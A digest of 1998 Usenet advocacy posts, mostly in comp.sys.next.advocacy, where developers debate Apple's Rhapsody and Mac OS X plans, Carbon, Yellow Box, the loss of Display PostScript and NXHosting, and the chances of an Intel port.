Organization: AOL http://www.aol.com
References: <6jk3qs$a4a@ragnarok.en.uunet.de>
::sigh::
Can someone with the technical savvy make a statement on the prospects of
GNUstep in light of this?
It seems to me that Apple could make a lot of people happy by just donating the
code for Rhapsody/Intel to GNU if they're not going to do anything with it.
It also seems to me that Apple is missing a huge market by ignoring the number
of people who're dissatisfied with Windows and want an alternative, but can't
afford to purchase a new system. Anyone catch the growing thread in the press
to urge M$ to not add any more glitzy stuff to the OS but instead work on
making it stable?
Remember the wonderful press which NS/Intel received based on its "working like
a swiss watch" and having the most beautiful interface around? While Rhapsody
might manage the first, I doubt it's going to manage the second based on what's
been shown at StepWise.
What was that WindowMaker site again?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 11:05:20 -0500
Organization: Tormenta Software
Message-ID: <j-jahnke-1605981105210001@192.168.1.4>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
In article <B17CAD54-99FF@206.165.43.2>, "Lawson English"
<english@primenet.com> wrote:
> And I'd like to hear from professional (since apparently I don't count) Mac
> developers:
>
> are you pleased with the idea of losing your ability to run your apps on
> pre-8.1-enabled Macintoshes?
Huh?? Given it will take about a year for this software to hit the shelves
I don't think that it matters that pre 8.1 folks can't use my software.
People with equipment that old aren't buying much new software anyway, so
what is the point. I think we all knew at some point that in order for the
MacOS to progress Apple was going to have to say goodbye to some portion
of the installed user base.
When I first heard what they were up to I was confused. I think now that I
have been looking more closely at it, it seems to be the most sensible
solution to date. I was clearly one of the ones who was NOT going to port
to Rhapsody. And I might have ported to Copeland. But if all I have to do
is make sure I am using the latest and greatest API's and not doing
anything squirllely with them I don't see a problem continuing to support
the Mac.
Jer,
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Message-ID: <1998051616071200.MAA21997@ladder01.news.aol.com>
Date: 16 May 1998 16:07:11 GMT
Organization: AOL http://www.aol.com
References: <6ji6gt$n8h$4@msunews.cl.msu.edu>
The terrible thing is, with this inconsistent and inelegant and awkward and
unattractive GUI, Apple is missing out on the kind of wonderfully favorable
press which NeXT garnered when they first released NS for Intel
"superbly designed interface...that surpasses in elegance even that of the
Apple Macintosh" PC Magazine August 1993
"Nextstep is the most visually stunning operating system you can
own...Nextstep's graphical interface is nothing short of stunning. The
intuitive 3D interface sports a black-and-gray chiseled-steel look that acts as
a backdrop to a multicolored wonderland of icons, animation and multimedia." PC
Magazine May 31, 1994
Can one have animated application icons?
Is there any possibility of directly interacting with an application through
its icon?
Where's that Fiend.app source code?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 12:08:23 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jkdlo$d6r$1@crib.bevc.blacksburg.va.us>
References: <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1605980710220001@elk81.dol.net> <6jk617$mlb$1@goof.de.uu.net>
In article <6jk617$mlb$1@goof.de.uu.net>, hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette) wrote:
> (and it sure as hell looks like YB has been put
> on the back burner because 'the Mac community was not ready for it')
It doesn't look that way to me. I must admit that I panicked when I
heard the Monday keynote. But after keeping up to date on further WWDC
developments, I no longer feel that way. Apple is _way_ too active in
enhancing the YB APIs to be "putting it on the back burner". It's in
Apple's interests to have people using Yellow. They know they can't
force people. So they're just going to work on making it really cool so
people will _want_ to. Maybe they'll put it on the back burner later if
it ships for a while and still no one develops for it, but in the
meantime, I think it's still very important to their strategy.
Scott Anguish's Q&A session on Stepwise discusses this question (asked
by me, actually). The excerpt is:
Is Apple strongly trying to sell developers on using Yellow for new
apps (as opposed to legacy ones)?
I think Apple is currently concentrating on bring the existing
Macintosh OS X via Carbon. If you are doing new development, Yellow
Box is obviously the easier way to go. Apple appears to be gently
guiding developers in that direction instead of strongly selling.
Yellow Box is the only way to go cross-platform.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon built on top of YellowBox?
Date: 16 May 1998 12:18:50 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jke9a$d7l$1@crib.bevc.blacksburg.va.us>
References: <35594B50.B0DF00FC@iphysiol.unil.ch> <6jch0m$1cc$18@ironhorse.plsys.co.uk> <eviltofu-1605981028480001@viking202-49.dhcp.csuohio.edu>
In article <eviltofu-1605981028480001@viking202-49.dhcp.csuohio.edu>, eviltofu@rocketmail.com (Jerome Chan) wrote:
> So Carbon runs on TOP of the MACH kernal? What's to stop it from being
> ported to Intel?
Blue Box runs on top of Mach, too, but _it's_ not portable to Intel.
One reason is 68k code, which Carbon doesn't have. Another would be
endian dependencies. I don't know enough about MacOS system internals
to think of more.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: cancel
Control: cancel <6jke9a$d7l$1@crib.bevc.blacksburg.va.us>
Date: 16 May 1998 12:19:31 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jkeaj$d7q$1@crib.bevc.blacksburg.va.us>
<6jke9a$d7l$1@crib.bevc.blacksburg.va.us> was cancelled from within trn.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon built on top of YellowBox?
Date: 16 May 1998 12:20:59 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jkedb$d8d$1@crib.bevc.blacksburg.va.us>
References: <35594B50.B0DF00FC@iphysiol.unil.ch> <6jch0m$1cc$18@ironhorse.plsys.co.uk> <eviltofu-1605981028480001@viking202-49.dhcp.csuohio.edu>
In article <eviltofu-1605981028480001@viking202-49.dhcp.csuohio.edu>, eviltofu@rocketmail.com (Jerome Chan) wrote:
> So Carbon runs on TOP of the MACH kernal? What's to stop it from being
> ported to Intel?
Blue Box runs on top of Mach, too, but _it's_ not portable to Intel.
One reason is 68k code, though Carbon doesn't have that. Another would
be endian dependencies. Or lots of optimization in PPC assembly.
Or other tuning for PPC that might degrade Intel performance. I don't
know enough about MacOS system internals to think of more.
From: jq@papoose.quick.com (James E. Quick)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 16 May 1998 12:23:11 -0400
Organization: Quick and Associates
Message-ID: <6jkehf$os@papoose.quick.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30>
In article <355c988e.0@192.33.12.30>,
jonathan klein <jklein@ivy.hampshire.edu> wrote:
>Think of the schools and businesses with hundreds or thousands of
>computers and the two or three administrators who have to manage
>all the machines.
>
>When the time comes to make a proposal to buy new machines, there would
>be a *really* strong argument in favor of machines that can be fully
>managed remotely and can run all of the applications that normal users
>need to run.
Don't get me wrong, I think that NSHosting will be sorely missed, but
seriously remote administration will not be a direct casualty of this.
After all, we're talking about Unix here.
The only thing you lose here is the ability to have a native App
whose entire task runs on a remote machine and whose entire display
is on another.
You have a herd of boxen on your network, and you want to change
the configuration of one of them (or more likely, of all boxes in
parallel). You use a GUI tool on one host, which uses kerberos
authentication to use any combination of rsh, rcmd, rpc, EOF, rcp,
etc. to blast the changes out any damn you please.
You can even use libraries ala PVM to run massively parallel apps
distributed on a number of boxes at once.
Running a monolithic process remotely and displaying locally is
in my opinion a poor way of writing administrative apps. It is
a wonderful way of distributing processing power where it is wanted
for individual application users, and I think it sucks that this
will be going away.
I just disagree with your example. Systems Administration apps
should be designed in such a way that the same task can be run
either remotely to a single destination or remotely to multiple hosts
in paralell. NSHosting would not make such designs any easier.
--
___ ___ | James E. Quick jq@quick.com
/ / / | Quick & Associates NeXTMail O.K.
\_/ (_\/ | If only the HMO would cover my allergy to gravity...
) | Blue skies, and soft landings.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 09:49:09 -0700
Organization: Trilithon Research and Trading
Message-ID: <355DC385.3B57EFF1@trilithon.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <6jcm9j$1cc$28@ironhorse.plsys.co.uk> <ericb-1405981233430001@132.236.171.104> <6jh0vv$1cc$40@ironhorse.plsys.co.uk> <B181D674-70D08@206.165.43.138> <1d93gn8.fhjfyy1knrztwN@carina47.wco.com>
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Mike Paquette wrote:
* Lawson English <english@primenet.com> wrote:
* * It completely ignores the issues that GX addresses
* * and provides far fewer features.
* Yeah. It really sucks . . . .
Actually, when I first read Awesome Lawson's comment, I parsed
it (inasmuch as you can parse anything he writes) as:
"GX addresses far fewer features and provides
far fewer features".
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Sat, 16 May 1998 13:42:48 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1605981342480001@pelli.pathology.pitt.edu>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us> <ericb-1405981420100001@132.236.171.104> <pxpst2-1405981509500001@pelli.pathology.pitt.edu> <ericb-1505981731010001@132.236.171.104>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <ericb-1505981731010001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
>
> I wonder if they will bother supporting very many pre-G3 machines.
> Certainly they could.
I am pretty confidant that all PCI macs will be supported. But the "User
experience" may be better with a G3
>
> But as far as Mach goes, MkLinux runs even on NuBus PPC Macs, although I'm
> not sure which version of Mach it's using.
True, MkLinux is on top of a Mach Kernal but it is not the same Mach
Kernal, MkLinux uses 2.5 and Rhapsody has uses 3.0.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: <gbh@middlemarch.net>
Newsgroups: comp.sys.next.advocacy
Subject: Openstep spec and MacOS X
Date: Sat, 16 May 1998 13:52:08 -0400
Organization: Verio Mid-Atlantic
Message-ID: <Pine.GSO.3.96.980516134637.950C-100000@shell.clark.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Since Apple is dropping DPS, will they also be dropping
the Openstep spec from Rhapsody and MacOS X, or will
they change the spec to match their new imaging model?
Will the graphics and imaging model be available to
GNUstep? And does this mean that GNUstep and MacOS X
apps will not be compatible on each others platforms?
--Greg
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Sat, 16 May 1998 10:53:04 -0700
Organization: Trilithon Research and Trading
Message-ID: <355DD280.7FCE9175@trilithon.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <355CC5FD.CF057A71@nstar.net>
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Michael J. Peck wrote:
* Henry McGilton wrote:
* * From the viewpoint of hardware and software
* * sales, NXHosting won't have any effect. Bit
* * of a drag for those who *really* need the feature.
* * I'm sure that somebody will come up with
* * some clever way to obtain the effect. As for me,
* * I'm not concerned that the lack of NXHosting will
* * drive Apple out of business.
* I have to disagree with this, Henry. I see uses for
* remotability every day, both at home and at work.
* I develop my current application for work on an HP-UX
* workstation, with all of its associated libraries, data
* files, and other install accessories. When I need to
* demo the app for my boss or other management, I can
* remotely display it on any Windows PC or
* UNIX workstation in the building very easily.
<<<< Rest or well reasoned article snipped >>>>
Well, I admit that after seeing your posting and several
others on the subject, there appears to be a greater need
and utility for remote hosting than I had imagined. I didn't
look at a big enough picture. And happy to relate, Mike
Paquette already addressed some of the concerns in another
posting.
So, let's lobby for remote hosting. By the way, I had made
a suggestion that possibly distributed objects could be used
to obtain a kind of limited remote hosting, where one app vends
a view across the wire to another app that can lock focus on
the remote view and draw into it --- even assuming that the new
lightweight toolkit has the notion of lock focus [Mike?].
I haven't tried this (yet) to see if it would work --- I could
flange up a couple of simple apps in an hour or so and test it
even on my one-host network; but if it does, it could provide
a stop-gap capability while we're waiting for the real thing.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Sat, 16 May 1998 11:02:56 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1605981102570001@user-38ld69u.dialup.mindspring.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <355c85ca.0@206.25.228.5>
In article <355c85ca.0@206.25.228.5>, jkheit@xtdl.com wrote:
> rmcassid@uci.edu (Robert Cassidy) wrote:
> > to tell me that my mom HAS to deal with unix just to use her
> > computer. Leave unix out of the _consumer_ version of the MacOS
> > X by default. Let me add it in or purchase a unix enabled version,
> > though please.
>
> You're absolutely right, and I think the BOZOs advocating the
> opposite extreme are just as silly. I'm all for letting others
> having their piece of pie, especially when it's not at my expense.
> I agree with you Rob, you can find nuts on all sides of a tree.
I really don't understand any of this. Apple has always had a CLI for the
Mac (MPW). It doesn't ship with the Mac but anyone who wants it can
download and install it.
I would assert that Terminal is in the same situation for MacOS X as MPW
has been traditionally. Whether its an optional install when MacOS X is
installed, or is on the MacOS X CD, or is downloadable from ftp.apple.com
is really a packaging issue and not a technical one. Also, you might see
some CLI based tools that are installed along with Terminal, rather than
with the system, since they wouldn't be useable without Terminal. Again,
its a packaging issue.
There may be some in the user community who are religious on this issue
(both sides), but I don't think very many people at Apple are.
-mark
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Sat, 16 May 1998 14:04:48 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1605981404480001@pelli.pathology.pitt.edu>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com> <6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com> <6jfual$1cc$32@ironhorse.plsys.co.uk> <355C4B7B.33644A11@milestonerdl.com>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <355C4B7B.33644A11@milestonerdl.com>, mark@milestonerdl.com wrote:
> mmalcolm crawford wrote:
>
> > In <3559D08E.CC749854@milestonerdl.com> M Rassbach wrote:
> > > > (b) Why should YB not work on 98 / NT5?
> > >
> > > Again, Microsoft-centric applications have a history of breaking at the
> > time of
> > > a Microsoft OS upgrade. What is Apple's level of commitment? None,
that I
> > see.
> > >
> > [...]
> > > Or, do you TRUST Apple?
> > >
> > OK, since you're being such a pain, I guess it's time to start betting
again.
>
> I'm being a pain?
>
> What? Truth hurts? Face it, I have a credible message questioning Apple's
> committment to Intel/NT 5.x/98 as a long term option. And you are to in love
> with Apple to admit there is a problem.
Uhhhhh. Excuse me but why are you lumping NT5.x with Win 98? Also, NT5.0
may be the greatest OS in the world, It is still vapor at this time. In
other words it is still being developed. Early seeds to developers have
shown it to be somewhat buggy but that should be expected. As for its
features list. It is constantly changing and will not be really known
till it is RELEASED. And then you can expect a lag as it is tested by the
various IT specialist to insure that none of their software is BROKE. So
what is the rush for Apple to say anything regrding NT5 yet? As to Win98
well it is not really new. Almost all of its functions can already be
gotten on the latest service packs for Win95, so I really doubt that it
will be difficult to implement on 98. In case you did not hear what
happen last september, Apple and MS have decided to play nice with
eachother for at least the next ~4.5 years.
I think you enjoy ranting to much.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 16 May 1998 17:47:38 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd80f2$a874f4c0$04387880@test1>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com>
akira@home.com wrote
> If you don't already know, MacOS X *IS* the next version of Rhapsody
> on PPC.
>
> Yellow Box on Windows 95/NT will be around, although I'm sure they
> will rename it.
>
> And most importantly...
>
> Rhapsody 1.0 on Intel is the *LAST* version of the Yellow Box/Mach
> combo for Intel. IE: Rhapsody on Intel can be considered the end
> of life for that product.
Interesting. Although, as stated by Jobs at WWDC 97, "Focus is about
saying 'no'". I would not be surprised if given Apple's limited
resources and its extreme need to *deliver* its new OSes (Rhapsody &
MacOS X) that they only focused on Mac systems.
(However, I would not be surprised to see a Merced version :-)
I suspect the variety of PC hardware combinations makes driver writing
and testing a time sink. Perhaps a release of OpenStep for Linux would
be an easier path for Apple?
Todd
PS. I still hope Apple releases an Intel version
PSS. As Carbon demonstrates, with enough concerns by the community,
Apple will change its plans. Let Apple know.
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMP is dead!
Date: 16 May 1998 17:46:51 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd80f2$8c1f3ba0$04387880@test1>
References: <jayfar-1405981500200001@chestnut1-27.slip.netaxs.com> <rmcassid-1405981458370001@dante.eng.uci.edu> <1d93dt0.12zt2tg1bpklcmN@carina47.wco.com>
Mike Paquette <mpaque@wco.com> wrote
> Bingo! I found that picture at Apple Recon to be particularly
> amusing, as I have a remarkably similar looking DVD player,
> except for that PhotoShop applied logo. I thought it was a hoot.
I am not convinced yet that Apple is out of the media player market
yet.
Apple did such an incredible job keeping Carbon under wraps... Probably
*the* most important announcement made by Apple for a year, and no one
had a clue! I can now believe in conspiracies again :-)
Quick solution - swap out the 24x CD-ROM in the iMac for a DVD-ROM
drive and you have a platform which can view movies more crisply
(crispier?) than any standard TV on the market.
Second solution, same as above, but add RGB/audio or NTSC/PAL plugs in
the back for a less-crisp but larger picture on your TV.
Third solution, Apple works with appropriate vendors to come out with
an MPEG-4ish (e.g., QuickTime) version of movies playing at much higher
resolution than current DVD's MPEG-2 - a.k.a HDTV for DVD. Bundle it
with iMac.
Cheers,
Todd
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 May 1998 11:00:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1832253-1C09B@206.165.43.27>
References: <1d93hzz.1i4zmy3bnrdb1N@carina47.wco.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Mike Paquette <mpaque@wco.com> said:
>PDF is the preferred graphics metafile format. It nicely encapsulates
>the imaging model, and it is currently rapidly rising in acceptance in
>the prepress industry.
Unless PDF has changed drastically since version 2.0, I've never felt that
the format is very conducive to editing, or interaction. Why use a metafile
format which is designed for frozen graphics?
Last I looked, PDF didn't support transparencies, so you guys must be doing
something to pass along transparent, overlapping graphics via PDF. Will
this solution allow anyone to reconstruct the original graphic?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 May 1998 11:04:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1832314-1EE18@206.165.43.27>
References: <see-below-1505982321320001@209.24.241.97>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Matthew Vaughan <see-below@not-my-address.com> said:
>In article <B18232C5-B6F87@206.165.43.10>, "Lawson English"
><english@primenet.com> wrote:
>
>
>> But what does it offer Mac users over GX?
>
>
>Quite possibly nothing, but really Lawson, get over it. GX IS DEAD AND
>IT'S NEVER COMING BACK.
Immaterial. What does the new graphics system off over GX? If the answer is
"nothing," or "not much, and we've lost a lot," then Apple has taken a
giant leap backwards in its support of high-end graphics.
In other words, unless you have a cross-platform graphics engine of your
own lying around, or have really deep pockets, the probabilty for new
mid/high-end graphics software to appear on the Mac has just been reduced
drastically.
That's bad news for a company that claims that it's main clients are
DTP/graphics.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: Sat, 16 May 1998 11:12:56 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1605981112590001@user-38ld69u.dialup.mindspring.com>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> <6jgsb2$934$1@crib.bevc.blacksburg.va.us> <6ji0ni$n53$3@cronkite.cygnus.com> <6ji2p3$avt$1@crib.bevc.blacksburg.va.us> <6ji7ma$enf$4@news.idiom.com>
In article <6ji7ma$enf$4@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
> The problem is, this approach means that you hve to ship rasters between the
> Application's memory and the window server's memory. With X and DPS, you
Mach 3.0 has nice support for shared memory.
-mark
From: "Ken Schuller" <schullersite@NOworldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Sat, 16 May 1998 13:15:47 -0500
Organization: AT&T WorldNet Services
Message-ID: <6jkl24$p45@bgtnsc03.worldnet.att.net>
References: <35598540.E4C37882@milestonerdl.com> <3559CE7F.7207302C@milestonerdl.com> <6jcu11$4ng$1@crib.bevc.blacksburg.va.us> <6je2ub$ju9$1@larry.admin.phil.uu.nl> <6jead6$694$1@crib.bevc.blacksburg.va.us> <see-below-1405982235220001@209.24.240.162> <6jhqk4$fqs@bgtnsc02.worldnet.att.net> <see-below-1505982300480001@209.24.241.97>
Matthew Vaughan wrote in message ...
>In article <6jhqk4$fqs@bgtnsc02.worldnet.att.net>, "Ken Schuller"
><schullersite@NOworldnet.att.net> wrote:
>
>
>> Finally, I'd like to see OSX on Intel. It would make my day to pick out
the
>> parts I want at the local PC shop (in compliance with a hardware
>> compatibility list, much like the NT people use now), and build a nice,
>> stable OSX machine with the ability to run my Mac OS -and- my Windows
apps.
>> That would be true choice.
>
>
>Excellent remarks, but I seriously doubt you'll ever see this last one.
>Rhapsody, yes, but not with Blue Box or Carbon. Sorry. Apple needs to keep
>their PPC hardware sales.
>
>You'll still have to choose between Mac and PC, in the sense of which
>backward compatibility you want.
>
>I'm with you on making sure that Windows can run inside Rhapsody for
>Intel. I don't know if Apple will pursue this or leave it up to third
>parties, but I'm sure somebody will do it.
>
>....................................................
>MATTHEW VAUGHAN
>matthewv at best dot com (damn spammers...)
>http://www.best.com/~matthewv/
>....................................................
My wife and I were chatting about this late last night, and I think there's
a definite, if not acknowledged race on among the new OS's.
The race- a stable Unix kernel with a consistent GUI on top of it for
applications and configuration applets a la the Windows Control Panel.
There should be the ability to "click out" to a Unix CLI present in the GUI
for common CLI uses, such as multiple file copies, deletions, renames,
moves, and standard Unix console activities such as telnet, ping, etc.
Finally, Win32 emulation capablities should be bundled or built in to the OS
and go beyond simply mounting different filesystems a la Linux or the Easy
Open utilities bundled with the current Mac OS. Whoever wins this race will
have a crack at being the OS of choice for the next ten years.
Now, where I feel the current offerings fall short:
Windows 95/98/NT- no Unix kernel. No common support for filesystems beyond
FAT16, which is going away (or trying to) with Win98. Of course, still no
NTFS filesystem support in Win 98, which is a complete embarassment to
Microsoft, much like the lack of FAT 32 support in NT 4.
Linux- the kernel is certainly stable, but the only thing that would make
for a consistent GUI would also destroy the idea of what Linux is all about.
Filesystem support, from what I've seen, is excellent- quite robust! I
know there are alphas of Win32 emulators available, but things need to
happen both with Win32 emulation (Insignia would be a good one to enlist for
this) and GUI consistency, which I don't think will ever happen. The CDE
idea is great, but I just don't see it getting widespread acceptance in the
Linux camps.
BeOS- it would be great to see Gasee's team release a final release of this
product. Be has serious potential as a contender. I'm ignorant as to Be's
filesystem support, so I won't comment here. Again, enlisting Insignia to
release a SoftWindows for Be/Intel and Be/PPC would be a fantastic idea.
Rhapsody- could be a great thing, if Apple management doesn't ruin it as
they have so many other great ideas. Multiple filesystem support is
mandatory, as well as a flavor of SoftWindows or similar, and again, even on
Rhapsody/Intel.
Now, why do I feel it's so important to have Windows emulation on Intel
flavors of these (reluctantly admitting) "alternate" OS's? Simple. In my
opinion, a $50 upcharge to the price of an OS to include Windows emulation
is a small price to pay for the ability to run applications for both the
"parent" OS (the booting OS- Linux, Be, Rhapsody, what have you) and
Windows- -without- -rebooting-. Linux folks already know what I'm talking
about here- it's distracting at a minimum, and to me, inconvenient to have
to reboot to run a Win32 app when I'm in the middle of doing things in
Linux.
Have I bored everyone yet? :) If so, my apologies. For those that found
this interesting, I'd really like to continue this discussion further and
hear opinions on what it will take to be the leading OS in two years.
Ken
Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.
========================
"In computing because it beats working for a living."
I speak for me.
Remove the obvious spam foil to reply via e-mail.
==========================================
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Sat, 16 May 1998 11:26:26 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1605981126260001@user-38ld69u.dialup.mindspring.com>
References: <355bc985.0@206.25.228.5> <6jgq6j$5us@sjx-ixn10.ix.netcom.com> <6jgsjt$93u$1@crib.bevc.blacksburg.va.us>
In article <6jgsjt$93u$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Oh well, I hope the Appearance Manager stuff makes it over to Yellow.
The Appearance Mgr is part of Carbon (see the Carbon paper). Yellow will
be responsible for either using Appearance to draw its widgets or making
the appropriate Appearance calls to find out everything it needs to know
to draw them itself.
The same goes for any other framework on top of Carbon (i.e. PowerPlant,
which Metrowerks claims will be available for MacOS X).
-mark
Message-ID: <355DD753.7EC3A839@unet.univie.ac.at>
Date: Sat, 16 May 1998 20:13:40 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Openstep spec and MacOS X
References: <Pine.GSO.3.96.980516134637.950C-100000@shell.clark.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
gbh@middlemarch.net wrote:
> Since Apple is dropping DPS, will they also be dropping
> the Openstep spec from Rhapsody and MacOS X, or will
> they change the spec to match their new imaging model?
DPS is already abstracted in OpenStep to NSBezierCurves,NSRect etc.The
imaging model underneath won't change support for YellowBox.
> Will the graphics and imaging model be available to
> GNUstep? And does this mean that GNUstep and MacOS X
> apps will not be compatible on each others platforms?
>
I doubt that GNUstep is anything close to running for itself,
yet.Apparently they use display-ghostscript. But if they use the
OpenStep abstractions I am confident that the display-modell won't be an
issue.
What would hurt compatibility more will be the changes in YB's AppKit,
that I heard from.There are some additions to the OpenStep specs from a
year ago, and GNUStep will be solely based on them.
Christian Benesch
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 16 May 1998 11:17:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B183263E-2AC87@206.165.43.27>
References: <1d93f0c.1rp62nqawhj9yN@carina47.wco.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
